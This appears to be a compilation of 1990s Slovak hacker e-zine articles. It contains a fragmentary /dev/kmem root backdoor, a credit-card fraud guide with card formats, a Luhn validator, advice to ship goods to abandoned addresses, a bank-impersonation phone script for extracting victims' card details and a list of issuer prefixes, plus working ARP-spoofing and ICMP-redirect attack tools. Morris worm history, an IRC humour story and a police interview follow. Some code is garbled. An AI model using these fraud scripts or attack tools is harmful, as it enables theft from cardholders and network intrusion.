char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd
#include <h>
#include <h>
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.n");
exit(50);
}
for(;ldtbread(object,idx,&symbol;)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol;))){
fprintf(stdout,"User page is at 0x%8.8xn",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.n");
exit(60);
}
tento priklad ilustruje ze obcas ani netreba pridavat nic do konfiguracneho suboru, niekedy je menej
napadne iba zmenit mu prava, napr. na o+w a podobne.
co ty na to ? board
1. Cislo kreditnej karty
2. Datum expiracie
3. Meno vlastnika karty
– American express
– Visa
– Mastercard
[American Express]
XXXX XXXXXX XXXXX
MM/Y1 THRU MM/Y2 Y1
Vladimir Meciar AX
Popis:
Prvy datum udava datum kedy bola karta vydana, druhy dokedy je platna.
[Master Card]
5XXX XXXX XXXX XXXX
ZZZZ AAA DD-MM-YY MM/YY
Meno_na_karte
Popis:
Datumy rovnako ako u American Express. ZZZZ udava zrejme interny kod
banky, ale pre nase ucely nie je podstatny.
[VISA dlhy format]
4XXX XXXX XXXX XXXX
MM/YY MM/YY*VISA
Meno_na_karte
[VISA kratky format]
4XXX XXX XXX XXX
MM/YY MM/YY*VISA
Meno_na_karte
Popis:
to iste ako American Express.
1. skupina – kod banky. Mozno po vas budu chciet aj nazov prislusnej
banky, tak sa mrknite do zoznamu.
2. skupina – nieco ako uzivatelska skupina. Jednoducho vsteci ludia, ktory
maju denny limit napr. 5000,- (DM, SKK,…) a rovnaky typ uctu budu mat s
najvacsou pravdepodobnostou toto cislo rovnake
3. a 4. skupina – informacia o cisle uctu
Problem teda nie je v cisle KK ale v datume expiracie. Ten tvori spolu
s cislom previazanu dvojicu (jedno bez druheho nefunguje).
Vynasobte kazde cislo na neparnej pozicii dvoma a ak je vysledok vacsi ako 9,
odcitajte od vysledku deviatku. Potom zratajte vsetky cisla na parnych
poziciach spolu s tymi zdvojenymi. Ak je vysledok bezo zvysku delitelny 10,
je cislo platne.
Postup je rovnaky, ale nasobia sa cisla na parnych poziciach.
int luhncheck(char *cn)
{
int i,x,dl,total=0,z;
z=1; /* neparny pocet cislic, nasobime parne indexy */
y=strlen(cn);
if (y%2==0)
z=0; /* parny pocet cislic, nasobime neparne indexy */
for(i=z;i<y;i+=2)
{
x=((int)cn[i]-48)*2;
if (x>9) x-=9;
total+=x;
}
for (i=z^1;i<y;i+=2)
total+=(int)cn[i]-48;
return (total%10) ? 0:1;
}
Na co si dat pozor? Ak si nieco objednate z internetu a davate si to posielat postou, NIKDY nepouzite
svoje meno a adresu. Dajte si poslat tovar na nejaku adresu typu:
opusteny dom, vystahovany susedia, kamos na intraku a pod.
"ty" pan blabla?
"zakaznik" ano
"ty" dobry den, tu je centrum automatizacie vub(csob, slovspor),
pri telefone bla bla.
"zakaznik" dobry den, cim mozem pomoct?
"ty" mali sme tu vypadok servera a stratilo sa nam par zaznamov
"zakaznik" ???
"ty" potrebovali by sme si overit, ci je aj vasa karta medzi zmazanymi,
boli by ste taky laskavy a nadiktovali mi cislo vasej karty?
"zakaznik" ??? (co ked je to podvod?)
"ty" samozrejme si uvedomujem, ze su to citlive informacie. ak chcete,
mozete mi zavolat na cislo .... sem k nam do centra (verejny telefon)
"zakaznik" dobre, hned zavolam
ten blbec sa chytil!
"ty" centrum automatizacie, pri telefone bla bla
"zakaznik" tak to je v poriadku, moje cislo je .....
"ty" a este vas poprosim datum platnosti
"zakaznik" (po dlhsom hladani) aha, to je ...
"ty" dakujem vam, ihned to overime, dopocutia
a ak ste bezchrbtaci, tak mu zavolajte este raz a povedzte ze je to ok.
4000 - Visa Bsn/Chk/Corp/Deb/Gold/Purch
4013 - Bank of Baltimore / Chevy Chase
4019 - Bank of America
4024 - Bank of America
4027 - Rockwell Federal Credit Union
4032 - Household Bank
4052 - First Cincinatti
4060 - Associates NB / Navy Fed.
4070 - Security Pacific
4071 - Colonial National Bank
4094 - A.M.C. Federal CU
4113 - Valley National Bank
4114 - Chemical Bank
4121 - Alaska Fed. / Penns. State Emp.
4122 - Union Trust
4128 - Citibank
4131 - State Street Bank
4215 - Marine Midland
4225 - Chase Manhattan Bank
4226 - Chase Manhattan Bank
4231 - Chase Lincoln First Classic
4232 - Chase Lincoln First Classic
4239 - Corestates
4241 - National Westminester Bank
4250 - First Chicago Bank
4253 - Consumers Edge
4254 - Cational Bank / Security First
4271 - Citibank Preferred
4301 - Monogram Bank
4302 - H.H.B.C.
4310 - B.C.F.U. / Imperial Savings
4311 - First National Bank
4312 - Barnett Bank
4316 - Leader Federal
4316 - Pioneer Bank / Standard Federal
4317 - First Tier Bank Omaha
4327 - First Atlanta
4332 - Bank One / First American
4339 - Primerica Bank
4342 - N.C.M.B./Nations Bank
4356 - National Bank of Delaware
4368 - National West
4387 - Lockheed Fed. / Santel CU
4388 - First Signature / Independent Bank
4401 - Gary-Wheaton Bank
4413 - Firstier Bank Lincoln
4418 - Bank of Omaha
4421 - Indiana National Bank
4428 - Bank of Hoven / Bar Harbor Bank
4436 - Security Bank and Trust
4443 - Merril Lynch Bank
4447 - AmeriTrust
4452 - Empire Affiliates Federal CU
4498 - Republic Savings
4502 - C.I.B.C.
4503 - Canadian Imperial Bank
4506 - Belgium A.S.L.K.
4510 - Royal Bank of Canada
4520 - Toronto Dominion of Canada
4534 - DC Card
4537 - Bank of Nova Scotia
4538 - Bank of Nova Scotia
4539 - Barclays
4544 - T.S.B. Bank / ADAC Visa
4556 - Citibank
4564 - Bank of Queensland
4568 - ADAC Karte / Berliner Bank
4673 - First Card
4707 - Tompkins County Trust
4719 - Rocky Mountain
4721 - First Security
4722 - West Bank
4726 - Wells Fargo
4783 - AT&T;'s Universal Card
4784 - AT&T;'s Universal Card
4800 - M.B.N.A. North America
4811 - Bank of Hawaii
4819 - Macom Federal Credit Union
4820 - IBM Mid America Federal CU
4833 - U.S. Bank
4842 - Security Pacific Washington
4897 - Village Bank of Cincinatti
4906 - Barclay Card
4916 - MBNA Bank
4917 - Visa-BahnCard/Citibank
4921 - Hong Kong Bank / National Bank
5100 - Southwestern States Bankcard Ass.
5101 - Southwestern States Bankcard Ass.
5102 - Southwestern States Bankcard Ass.
5103 - Southwestern States Bankcard Ass.
5104 - Southwestern States Bankcard Ass.
5105 - Southwestern States Bankcard Ass.
5106 - Southwestern States Bankcard Ass.
5107 - Southwestern States Bankcard Ass.
5108 - Southwestern States Bankcard Ass.
5109 - Southwestern States Bankcard Ass.
5110 - Universal Travel Voucher
5111 - Universal Travel Voucher
5112 - Universal Travel Voucher
5113 - Universal Travel Voucher
5114 - Universal Travel Voucher
5115 - Universal Travel Voucher
5116 - Universal Travel Voucher
5117 - Universal Travel Voucher
5118 - Universal Travel Voucher
5119 - Universal Travel Voucher
5120 - Western States Bankcard Ass.
5121 - Western States Bankcard Ass.
5122 - Western States Bankcard Ass.
5123 - Western States Bankcard Ass.
5124 - Western States Bankcard Ass.
5125 - Western States Bankcard Ass.
5126 - Western States Bankcard Ass.
5127 - Western States Bankcard Ass.
5128 - Western States Bankcard Ass.
5129 - Western States Bankcard Ass.
5130 - Eurocard France
5131 - Eurocard France
5132 - Eurocard France
5133 - Eurocard France
5134 - Eurocard France
5135 - Eurocard France
5136 - Eurocard France
5137 - Eurocard France
5138 - Eurocard France
5139 - Eurocard France
5140 - Mountain States Bankcard Ass.
5141 - Mountain States Bankcard Ass.
5142 - Mountain States Bankcard Ass.
5143 - Mountain States Bankcard Ass.
5144 - Mountain States Bankcard Ass.
5145 - Mountain States Bankcard Ass.
5146 - Mountain States Bankcard Ass.
5147 - Mountain States Bankcard Ass.
5148 - Mountain States Bankcard Ass.
5149 - Mountain States Bankcard Ass.
5217 - The Bankcard Association, Inc.
5218 - Citibank, N.A.
5219 - Central Finance Co., Ltd.
5220 - Sovran Bank/Central South
5221 - Standard Bank of South Africa, Ltd.
5222 - Security Bank & Trust Company
5223 - Trustmark National Bank
5224 - Midland Bank / National Westminster
5225 - First Pennsylvania Bank, N.A.
5226 - Eurocard Ab
5227 - Rocky Mountain Bankcard System, Inc.
5228 - First Union National Bank
5229 - Sunwest Bank of Albuquerque, N.A.
5230 - Harris Trust & Savings Bank
5231 - The Joint Credit Card Co., Ltd
5232 - Eurocard Deutschland
5233 - Bancsystems Association, Inc.
5234 - Citibank (Arizona)
5235 - Finanacial Transaction Systems, Inc.
5236 - First Tennessee Bank, N.A.
5237 - Southeast Bankcard Association, Inc.
5238 - Liberty National Bank & Trust Company
5239 - Southeast Bank, N.A.
5241 - Bank One Wisconsin Bankcard Corporation
5242 - Atlantic States Ass. / Chevy Chase.
5244 - The Joint Credit Card Co., Ltd.
5245 - Lomas Bank, U.S.A.
5246 - Bank of Honolulu
5247 - First American National Bank
5248 - Orient Finance Co., Ltd.
5249 - First Interstate Bank of Washington
5250 - Union Credit Company (UC Card)
5251 - Nippon Shinpan Co., Ltd.
5252 - Seibu Credit Co., Ltd.
5253 - Eurocard Norge, A.S.
5254 - Bank of America, N.A. & S.A.
5255 - Servizi Interbancari, S.P.A.
5256 - Commonwealth National Bank
5257 - Dalei Finance, Inc.
5258 - National Bank of Canada
5259 - First Wisconsin National Bank
5260 - First National Bank of Boston
5261 - Texas American Bank/Fort Worth
5262 - Service Center, Inc.
5263 - Chemical Bank
5264 - First Interstate Bank of Utah
5265 - The Joint Credit Card Co., Ltd.
5266 - Eurocard Austria
5267 - First Florida Bank, N.A.
5268 - The Canada Trust Co.
5270 - The First National Bank of Anchorage
5272 - Connecticut National Bank
5273 - Bank of America, N.T. & S.A.
5274 - Bank of California, N.A.
5275 - Eurocard Ab
5276 - Banco de Vizcaya
5277 - First Interstate Bank of California
5278 - National Management & Organization, S.A.
5279 - D.C. Credit Company, Ltd.
5280 - Fleet National Bank
5281 - Trust Company Bank
5282 - Wells Fargo Bank
5283 - Union Credit Company, Ltd.
5285 - The Joint Credit Card Co., Ltd.
5286 - F.C.C. National Bank
5287 - Valley National Bank of Arizona
5288 - Banco Nacional de Mexico
5289 - Seattle-First National Bank
5290 - Banco Nacional de Mexico
5291 - Signet Bank/Virginia
5292 - Southeast Bankcard Association, Inc.
5293 - Signet Bank/Virginia
5294 - Eurocard France
5295 - Eurocard France
5296 - Million Card Service Co., Ltd.
5297 - First Hawaiian Bank
5298 - Bank One, Indianapolis, N.A.
5299 - Amsouth Bank of Florida
5300 - Bay Bank
5308 - First Security Bank of Utah, N.A.
5313 - National Australia Bank Limited
5314 - International Card Systems, S.A.
5315 - International Card Systems, S.A.
5316 - The Citizens & Southern National Bank
5317 - Cu Electronic Transaction Services, Inc.
5318 - Credimatico De Panama / Mellon Bank
5319 - National Bank
5321 - Japan Travel Bureau, Inc.
5322 - Banc One Wisconsin Bankcard Corporation
5323 - Bank of New York (Delaware)
5325 - First Virginia Bank
5326 - Pacific Bancard Association, Inc.
5327 - Banco Atlanta, S.A.
5328 - NCNB National Bank of Florida
5329 - M.B.N.A.
5330 - Leader Federal Savings & Loan Ass.
5332 - Sociedad Administradora
5333 - National Bank
5334 - Sn Diego Trust & Savings Bank
5335 - Tokyo Credit Services., Ltd.
5336 - The Kansai Credit Bank Credit Service
5337 - Daiwa Credit Service / Sumisie Card
5338 - National Bank
5339 - First American National Bank
5340 - The Joint Credit Card Co., Ltd.
5347 - Equibank (Delaware), N.A.
5348 - First National Bank
5349 - Sun Bank, N.A.
5350 - Bank South, N.A.
5351 - Provident National Bank
5353 - Commonwealth Bank of Australia
5359 - Core States
5362 - First National Bank of Commerce
5371 - Rocky Mountain Bankcard System, Inc.
5372 - Rocky Mountain Bankcard System, Inc.
5376 - Natwest Australia Bank, Ltd.
5379 - Bank of Louisiana in New Orleans
5384 - San Diego Trust & Savings Bank
5385 - Bank of Louisiana in New Orleans
5393 - First Omni Bank
5396 - AT&T;'s Universal Card
5398 - AT&T;'s Universal Card
5399 - DC Credit Co., Ltd.
5400 - United Bankcard Association
5401 - Card Services For Credit Unions
5402 - New Zealand Bankcard Associates Ltd.
5410 - Citibank / First National
5411 - Credicard, S.A.
5412 - Eurocard Ab
5413 - Eurocard Norge, A.S.
5414 - State Street Bank & Trust Co.
5415 - Union Bank
5416 - People's Bank
5417 - Associates National Bank / Bank of America
5418 - Household Bank
5419 - Oversea-Chinese Banking Corporation, Ltd.
5420 - Colonial National Bank
5421 - Bank of Credit and Commerce International
5422 - Huntington National Bank
5423 - University Credit Union
5424 - C.B.T. / Citibank
5425 - Banco De Santander / Barclay Card
5426 - Mellon Bank Delaware, N.A.
5429 - NCNB South Carolina
5430 - Centrust Savings Bank
5431 - The Hongkong and Shanghai Banking Corp.
5432 - Rocky Mountain Bankcard System, Inc.
5433 - Eurocard International, S.A.
5434 - National Westminster Bank
5436 - Sistarbanc, S.A.R.L.
5437 - The Massachusetts Co.
5438 - U.S. League Financial Services, Inc.
5439 - Central Bank of The South
5440 - Ncnb National Bank
5442 - First National Bank of Atlanta
5443 - Eurocard International, S.A.
5444 - The Fifth Third Bank
5445 - The Bank of Scottsdale/.Paradise Valley
5447 - AmeriTrust Company National Association
5448 - Crestar Bank
5450 - Lomas Bank, U.S.A.
5453 - Eurocard International, S.A.
5454 - Bank of New England-West, N.A.
5458 - Bank of New England-West / Crestar Bank
5460 - Citibank, N.A.
5462 - Central Bank
5463 - Eurocard International, S.A.
5465 - Chase Manhattan Bank
5469 - N.B.D. Bank Evanston, N.A.
5472 - Bank of New England Old Colony, N.A.
5480 - Bank of America
5485 - Commercial National Nank of Peoria
5485 - Citibank
5485 - Simmons First National Bank
5485 - Citibank
5488 - Financial Transaction Systems, Inc.
5489 - First American Bank of Virginia
5493 - Credicard, S.A.
5494 - Credit Union Card Services, Inc.
5485 - Citibank
5488 - Mellon Bank Delaware, N.A.
5489 - First American Bank of Virginia
5493 - Credicard, S.A.
5494 - Credit Union Card Services, Inc.
5498 - Star Bank, N.A.
5499 - The Bankcard Association, Inc.5554 - State Street Bank & Trust Co.
gizmo, gizmo(at)hysteria.sk
co ty na to ? board
co ty na to ? board
redir hry s arp a icmp
IP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4
hostname cat rat dog bat
hw addr AA:AA BB:BB CC:CC DD:DD (pre skratenie)
to vsetko mame pospajane na ethernete jednoduchym sposobom (t.j. ziadne switche,
ziadne smart huby). dajme tomu ze si hackol masinu cat, mas na nej roota a chces sa
dostat na dog. vies ze dog ma trust vztah s rat, takze ak dokazes uspesne spoofnut rat, mozes
cosi ziskat.
/* send_arp.c
tento program posle jeden ARP packet so zdrojovou/cielovou IP a ethernetovou
hardwarovou adresou zadanou uzivatelom. da sa to skompilovat a bezi to pod
linuxom ale pravdepodobne to funguje na hocijakom unixe co ma SOCK_PACKET
yuri, [email protected]
*/
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define DEFAULT_DEVICE "eth0"
char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97n
tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addrnn"};
struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);
int main(int argc,char** argv){
struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
if(argc != 5)die(usage);
sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket");
exit(1);
}
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);
get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);
get_ip_addr(&src;_in_addr,argv[1]);
get_ip_addr(&targ;_in_addr,argv[3]);
memcpy(pkt.sndr_ip_addr,&src;_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ;_in_addr,IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
if(sendto(sock,&pkt;,sizeof(pkt),0,&sa;,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%sn",str);
exit(1);
}
void get_ip_addr(struct in_addr* in_addr,char* str){
struct hostent *hostp;
in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %sn",str);
exit(1);
}
}
}
void get_hw_addr(char* buf,char* str){
int i;
char c,val;
for(i=0;i<ETH_HW_ADDR_LEN;i++){
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");
*buf++ |= val;
if(*str == ':')str++;
}
}
/* icmp_redir.c
tento program posle ICMP host redirect packet s gateway IP specifikovanou uzivatelom.
bolo to napisane a testovane na Linuxe 2.0.30 a da sa to vcelku lahko prepisat na vacsine
unixov.
yuri, [email protected]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>
#define IPVERSION 4
struct raw_pkt {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct icmphdr icmp;
struct iphdr encl_iphdr;
char encl_ip_data[8];
};
struct raw_pkt* pkt;
void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);
int main(int argc,char** argv){
struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.
yuri volobuev'97n
usage: icmp_redir gw_host targ_host dst_host dummy_hostn"};
char on = 1;
if(argc != 5)die(usage);
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
perror("socket");
exit(1);
}
sa.sin_addr.s_addr = get_ip_addr(argv[2]);
sa.sin_family = AF_INET;
packet_len = sizeof(struct raw_pkt);
pkt = calloc((size_t)1,(size_t)packet_len);
pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(argv[1]);
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(argv[4]);
memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);
pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
sizeof(struct iphdr));
pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
sizeof(struct raw_pkt)-sizeof(struct iphdr));
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on;,sizeof(on)) < 0) {
perror("setsockopt: IP_HDRINCL");
exit(1);
}
if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa;,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
exit(0);
}
void die(char* str){
fprintf(stderr,"%sn",str);
exit(1);
}
unsigned long int get_ip_addr(char* str){
struct hostent *hostp;
unsigned long int addr;
if( (addr = inet_addr(str)) == -1){
if( (hostp = gethostbyname(str)))
return *(unsigned long int*)(hostp->h_addr);
else {
fprintf(stderr,"unknown host %sn",str);
exit(1);
}
}
return addr;
}
unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;
while(len > 1){
sum += *addr++;
len -= 2;
}
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
preklad pajka & newroot
navrat na obsah
co ty na to ? board
morris internet worm – informacie
znemoznil odosielanie posty do systemovych uctov (root),
zmenil systemovy prikaz login tak, aby sa ZDALO ze ma user zmazane vsetky subory
zmenil uvodne systemove textove hlasenie
Odoslal svoju polohu (IP na ktorom sa nachadzal, spolu s indikaciou, ci system obsahuje systemovu dieru),
otravoval uzivatelov funkciou PHONE na to, aby im zazvonil,
zaznamenal uzivatelske hesla, ktore crackol (prazdne retazce, login = heslo, a maly anglicky wordlist)
– Cerv nezmenil ani neznicil subory
– Cerv neulozil ani neposielal hesla ktore crackol
– Cerv neurobil specialne pokusy na ziskanie roota alebo superuzivatelskeho
pristupu v systeme (a nevyuzil privilegia, hoci k tomu mal moznost).
– Cerv neulozil svoje kopie alebo kopie inych programov do pamate aby boli
vykonane neskor. (Take programy su nazyvane timebombs – casovane bomby)
– Cerv neutocil na ine pocitace ako su systemy Sun 3 a pocitace VAX so
systemom 4 BSD Unix (alebo ekvivalent).
– Cerv nezautocil na pocitace, ktore neboli pripojene na internet. (Inymi
slovami, pocitace, ktore nemali internetove adresy neboli napadnute. Modemy
neboli pocitane ako internetove pripojenia v tomto pripade.)
– Cerv sa neprenasal z pocitaca na pocitac prostrednictvom disku.
– Cerv nesposoboval fyzicke poskodenie pocitacovych systemov.
20:49 Cerv nakazil VAX 8600 na univerzite v Utahu (University of Utah –
cs.utah.edu)
21:09 Cerv spustil prvy zo svojich utokov na ine pocitace z infikovaneho
VAX-u.
21:21 Priemerna zataz (load average) na systeme dosiahla cislo 5. (Priemerna zataz je
miera, ako namahavo pracuje pocitacovy system. O 21:30 priemerna zataz VAX-u
bola obycajne 1. Akakolvek priemerna zataz vyssia ako 5 sposobuje
oneskorenia v spracovani udajov.)
21:41 Priemerna zataz dosiahla hodnotu 7.
22:01 Priemerna zataz dosiahla hodnotu 16.
22:06 V tomto bode pocet cervov, ktore infikovali system, dosiahol pocet,
ktory sposobil neschopnost spustat nove procesy. Ziadny pouzivatelia viac
nemohli pouzivat system.
22:20 Systemovy administrator vyhubil cervov.
22:41 System je reinfikovany a priemerna zataz dosiahla hodnotu 27.
22:49 Systemovy administrator vykonal shutdown systemu. System je nasledne
restartovany.
23:21 Nasledna reinfikacia sposobuje zvysenie hodnoty priemerneho zatazenia
na 37.
preklad delord & devil
co ty na to ? board
koniec sveta
/join #holubnik
***jozko52 joins #holubnik@
<doolitle> Ako mam hacknut redhat 5.0 ?
***doolitle was kicked by messiash_ (chod si precitat knizku ty tupec)
<otis> hehe... nemam rad takychto lamerov
<jozko52> caute kolegovia. som hacker. klanajte sa zemi po ktorej kracam, postavte mi bustu na kopci
za mestom, ja mam pevnu 128k linku, ked sa o volaco pokusite, skopnem vas z vlny a znicim ! HAHAH !
<salo_> nexcem mobil
<otis> co je zas toto za idiota
*** quits: jozko52 (excess flood)
sakra co sa stalo ?? “fero, ty si stale pripojeny na irc ?”
***sexyboy joins #sex
<sexyboy> Caute, som chalan a mam 21!
“co to do prdele robis fero ?!”
***jozko52 joins #holubnik
<messiash> este ti nestacilo ?
<jozko52> chalani to vy ste spravili ?
* messiash nic nespravil.
<otis> na mna sa nedivaj
<pajka> hehe
<jozo52> co ste sakra spravili ?
<messiash> vobec nic
* messiash ma predsa na taku spinavu robotu naklonovanych botov
<jozko52> Co ? to si ako spravil s tymi vecickami..
<pajka> co mal spravit s akymi vecickami ?
<jozko52> no ze messiash mal naklonovanych botov a ze s tymi to spravil
* otis doporucuje aby si jozko52 skusil /describe prikaz a nebol lamer
no konecne sekaju poriadnu hackersku terminologiu. nemam sa ich co bat, som predsa na 128k lajne.
oni maju pravdepodobne zasrate modemove linky ! mohol by som ich v pohode vyfloodovat pingom !
<jozko52> describe #holubnik uz to mam.
<messiash> co tak skusit dat pred to /
<jozko52> describe /#holubnik uz to mam.
<messiash> heh, nechaj to radsej tak
ten idiot messiash ! oklamal ma. teraz ho kill-nem, znicim, zabijem.
<jozko52> hej messiash, aku mas IP adresu
<messiash> no skus tri krat hadat lammah
<doolitle> skus /whois messiash
<messiash> drz hubu doolitle !
<messiash> hehe
Ahaa! pomocou /whois messiash som zistil jeho IP adresu. Teraz ho budem ping floodovat.. hehehe..
<jozko52> ja nic nerobim !!
<messiash> co akoze nic nerobis ?
<jozko52> preco si stale tu ?
<otis> preco tu ma kto byt ?
<jozko52> no predsa messiash ! ja som na neho spustil obrovsky pinf flood. mam pevnu linku !
<messiash> aha tak. mam zrusene pingy. lammer.
<jozko52> pingy sa nedaju zrusit !
<messiash> ja v pohode. neni to tazke.
<jozko52> okej ! teraz ste vsetci mrtvi !!
*** quits: messiash (irc.netlab.sk irc.stealth.net)
*** quits: otis (irc.netlab.sk irc.stealth.net)
*** quits: pajka (irc.netlab.sk irc.stealth.net)
*** quits: salo_ (irc.netlab.sk irc.stealth.net)
*** quits: doolitle (irc.netlab.sk irc.stealth.net)
<jozko52> haloooo ?
<jozko52> je tu niekto ??
Haha ! Vsetkych som killol ! HAHAHA !! Neviem sice ako, ale fungovalo to !
*** joins: messiash
You were kicked from #holubnik by messiash (You're nuked!!!)
jozko civel na obrazovku a ani nemukol… co mu to messiash spravil ?? v tej chvili sa zrazu elektricky
prud rychlo vypol a zase zapol… kedze obidve PCka boli na UPSke nic zle sa pocitacom nestalo, ale
jozo mal strach.
ping ftp.microsoft.com
no response from ftp.microsoft.com
“Jozo, co sa preboha deje ??” spytal sa ferko.
ping ftp.netscape.com
no response from ftp.netscape.com
“Uh.. fero.. vybehni hore po schodoch a dojdi mi povedat co si tam uvidel..”
ping localhost
localhost is alive
ping www.aol.com
no response from www.aol.com
ping www.government.gov.sk
no response from www.government.gov.sk
ping www.whitehouse.gov
no response from www.whitehouse.gov
jozo cuvol o krok od pocitaca. na obrazovke stale visel posledny riadok z irc:
You were kicked from #holubnik by messiash (You're nuked!!!)
neveril tomu… ten messiash musel byt z ruska ! nasral operatora interkontinentalnych rakiet
s jadrovou hlavicou v rusku a tak znicil cely svet !
co ty na to ? board
re: pro pana dastycha
> Odesl�no: 20. dubna 1999 9:35
> Komu: dastych [dastych(at)mvcr.cz]
> Predmet: Re: pro pana Dastycha
Jednoduse. Uz na VS jsem zkousel pracovat s vypocetni techniou
pomerne aktivne. A tak me tato zaliba po letech ptitahla tam, kde muzu spojit povolani a konicek.
>Co v�s na n� pritahuje, c�m je zaj�mav�?
Zajimava je tim, ze v ramci modernich technologii je mozno pracovat s
jejich kriminalnim aspektem.
>Jak� vzdel�n� ci znalosti clovek mus� m�t, aby mohl b�t poc�tacov�m policistou?
Vzdelenai neni az tak rozhodujici. Ma VS jiste neni tim nejlepsim predpokladem k tomu co nyni delam. Spise musi clovek chtit delat
praci, ktera neni az tak bezna.
>Klade se duraz sp�se na poc�tacov� vedomosti nebo na znalosti z�kona?
Oba druhy znalosti jsou potrebne. Bez znnalosti IT se tato prace delat neda stejne jako bez velmi dobre znalosti zakonu.
A proto 6:4 ve prospech zakona.
>V MF DNES kdysi byl otisten cl�nek, kter� tvrd�, ze nem�te svuj sluzebni pocitac a musel jste si prinest vlastn� z domova.
Plat� to jeste dnes?
Ne zplat buh uz je to asi jeden rok jinak. Mam svuj sluzebni pocitac.
>Je pro v�s dulezitejsi chyt�n� hackeru nebo lid�, kter� kop�ruj� ileg�ln� software?
Neda se rici co je dulezitejsi. Vsechna tato cinnost je nelegalni a
trestna. Maximalne se da hovorit o spolecenske nebezpecnosti. Ta je u SW piratu spise dana zpusobenou
skodou a u hackeru nebezpecim poskozeni dat.
>Spolupracujete s nejak�mi odborn�ky pres pocitace nebo pres hacking?
Ano a aktivne. Nicme zatim je to spise narazova zalezitost. Do budoucna je nutno vytvorit pevny system spoluprace
a i v CR bude nutno vytvorit obdobu skupiny CERT jako v USA.
